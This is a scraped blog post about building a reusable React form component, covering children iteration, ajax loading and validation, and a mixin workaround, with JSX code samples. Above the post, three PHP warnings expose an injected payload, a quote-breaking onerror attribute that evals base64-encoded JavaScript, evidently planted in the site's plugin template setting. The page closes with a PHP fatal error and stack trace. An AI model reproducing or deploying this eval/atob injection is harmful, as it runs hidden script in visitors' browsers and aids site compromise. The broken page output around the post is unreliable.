Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /home/unodgs/public_html/blog/wp-content/themes/flat/wppr/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAgICA in /home/unodgs/public_html/blog/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93
Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /home/unodgs/public_html/blog/wp-content/themes/flat/wppr/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAgICA in /home/unodgs/public_html/blog/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93
Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /home/unodgs/public_html/blog/wp-content/plugins/wp-product-review/includes/public/layouts/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cm in /home/unodgs/public_html/blog/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93
As you probably already know React is quite a new gamer in SPA world. In contrast to AngularJS it prefers functional approach to deal with complex and interactive UI. After creating two projects with Angular I decided to try it out with my new application. I will describe overall impression later, here I want to share my problems with form component.
My application consists of many forms like settings, user profile, registration panel etc. Each of them:
- has input elements and submit button
- loads initial data via ajax
- stores entered data via ajax
- blocks form during ajax calls
- has nice progress indicator
I could create each of those form in classical way described in react documentation but that would be cumbersome and generated too much code. This is what I wanted to achieve:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
var PersonalDataForm = React.createClass({ onSuccess: function(data) { return "Form saved successfully"; }, onError: function(e) { if(e.status == 101) return "Duplicate user name"; else return null; }, render: function() { return( <Formu url='/api/account/personal' onScucces={this.onSuccess} onError={this.onError}> <div className="two fields"> <TextField label="First name" ref="firstName" notEmpty/> <TextField label="Last name" ref="lastName" notEmpty/> </div> <EmailField label="Email" ref="email" notEmpty/> <TextField label="Username" ref="userName" notEmpty/> <div className="two fields"> <PasswordField label="Password" ref="password" notEmpty minLength="6"/> <PasswordField label="Repeat password" ref="repeat" notEmpty matchRef="password" errorMsg="Repeated password does not match"/> </div> <SubmitButton/> </Form> ); } }); |
Every kind of html input is wrapped in a react component that stores input type, its value and other necessary parameters as well as internal state if component is a little bit complex. Then Form component iterates over its children, creates validation rules for validation plugin (which in my case comes from http://semantic-ui.com) and responds to submit button. Form component is also responsible for loading and saving form data from url passed through url attribute.
I was really surprised that such a functionality is impossible to achieve in react (at least in current version). Of course that might be my fault and I would be thankful if someone shared a similar component that is working. So what is the problem? The problem is parent – children communication. Let’s take a look at a Form component (simplified version):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 |
var Form = React.createClass({ getInitialState: function() { ... }, buildValidationRules: function(child) { ... }, componentDidMount: function() { var validationRules = Utils.processChildren(this.buildValidationRules); var node = this.refs.formular.getDOMNode(); var formNode = $('.form', node); var _this = this; $(this.refs.formular.getDOMNode()).form( validationRules, { onSuccess: function() { var fields = $(':input', formNode).serializeJSON(); var fieldsJson = JSON.stringify(fields); $(':input', formNode).attr("disabled", true); $.ajax({ url: _this.props.url || _this.props.submitUrl, dataType: 'json', contentType: "application/json", type: 'POST', data: fieldsJson, complete: function() { $(':input', formNode).attr("disabled", false); }, error: function(e) { var errorMsg = null; if(_this.props.onError) errorMsg = _this.onError(e); _this.setState({errorMsg: errorMsg ? errorMsg : e.statusText}); }, success: function(data) { var successMsg = null; if(_this.onSuccess) successMsg = _this.onSuccess(data); _this.setState({successMsg: successMsg}); } }); } } ); }, render: function() { return ( <div> <div className="ui small attached message error login" style={{display: this.props.errorMsg ? 'block' : 'none'}}> <div className="header">{this.props.errorMsg}</div> </div> <div className="ui small form attached fluid segment" ref="formular"> {this.props.children} </div> <div className="ui small bottom attached info message" style={{display: this.props.successMsg ? 'block' : 'none'}}> {this.props.successMsg} </div> </div> ); } }); |
The most interesting part is {this.props.children}. In this property all the tags between <Form></Form> declared in PersonalDataForm are passed. One can iterate over them using React built in functions. Here’s my iteration helper (react’s foreach looks for children only one level deep in dom hierarchy):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
Utils = { processChildren0: function(self, children, callback, data) { var _this = this; React.Children.forEach(children, function(child) { var tagName = child.type ? child.type.displayName : null; var refName = child.props && child.props.ref ? child.props.ref : null; callback(self, child, tagName, refName, data); if(_.isArray(child.props.children)) _this.processChildren0(self, child.props.children, callback, data); }); }, processChildren: function(self, children, callback, data) { this.processChildren0(self, children, callback, data); } }; |
Unfortunately (in this case) Form component is not the owner of those children. The PeronalDataForm is. That has consequences. I can’t in Form update the children properties or transfer properties passed to Form (it’s a problem because this is the preferred way of communicating with children in react). Also if I would like to modify state of children I’m forced to use undocumented internals of react (that can change in feature versions) like __realComponentInstance (if that only worked 🙂 , the render method of child component still used previous state). What worked in the code above was validation as reading data from this.props.children was perfectly fine. What didn’t work was modifying props or state of children. I wasn’t able to load data from server and distribute it among children from within Form component.
I hope in future version communicating between children and parent will be addressed in some way or another. In the meantime I used mixins. Now PersonalDataForm looks like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
var PersonalDataForm = React.createClass({ mixins: [FormMixin], render: function() { return( <Form errorMsg={this.state.errorMsg} successMsg={this.state.successMsg} ref="form"> <div className="two fields"> <TextField label="First name" ref="firstName" data={this.state.data} notEmpty/> <TextField label="Last name" ref="lastName" data={this.state.data} notEmpty/> </div> <EmailField label="Email" ref="email" data={this.state.data} notEmpty/> <TextField label="Username" ref="userName" data={this.state.data} notEmpty/> <div className="two fields"> <PasswordField label="Password" ref="password" data={this.state.data} notEmpty minLength="6"/> <PasswordField label="Repeat password" ref="repeat" data={this.state.data} notEmpty match={['password', 'Repeated password does not match']}/> </div> <Submit ref="submit"/> </Form> ); } }); |
I simply inlined all the methods that previously were placed in the Form component into the PersonalDataForm. Now PersonalDataForm is the owner of all inputs and is able to manipulate them. I also gave up on iterating over children through this.props.children. Now I iterate over this.refs. That simplifies the code but requires providing ref attribute at every input wrapper. Another disadvantage is forcing user to mix in FormMixin in every form component and unnecessary code duplication because of that. User also has to pass this.state.data (which contains ajax data) everywhere, but the final effect is very similar to what I really wanted. I will post sources of my components soon.
Fatal error: Uncaught ArgumentCountError: Too few arguments to function cwppos_show_review(), 0 passed in /home/unodgs/public_html/blog/wp-content/themes/flat/content-single.php on line 29 and exactly 1 expected in /home/unodgs/public_html/blog/wp-content/plugins/wp-product-review/includes/legacy.php:18 Stack trace: #0 /home/unodgs/public_html/blog/wp-content/themes/flat/content-single.php(29): cwppos_show_review() #1 /home/unodgs/public_html/blog/wp-includes/template.php(725): require('/home/unodgs/pu...') #2 /home/unodgs/public_html/blog/wp-includes/template.php(672): load_template('/home/unodgs/pu...', false) #3 /home/unodgs/public_html/blog/wp-includes/general-template.php(168): locate_template(Array, true, false) #4 /home/unodgs/public_html/blog/wp-content/themes/flat/single.php(5): get_template_part('content', 'single') #5 /home/unodgs/public_html/blog/wp-includes/template-loader.php(106): include('/home/unodgs/pu...') #6 /home/unodgs/public_html/blog/wp-blog-header.php(19): require_once('/home/unodgs/pu...') #7 /ho in /home/unodgs/public_html/blog/wp-content/plugins/wp-product-review/includes/legacy.php on line 18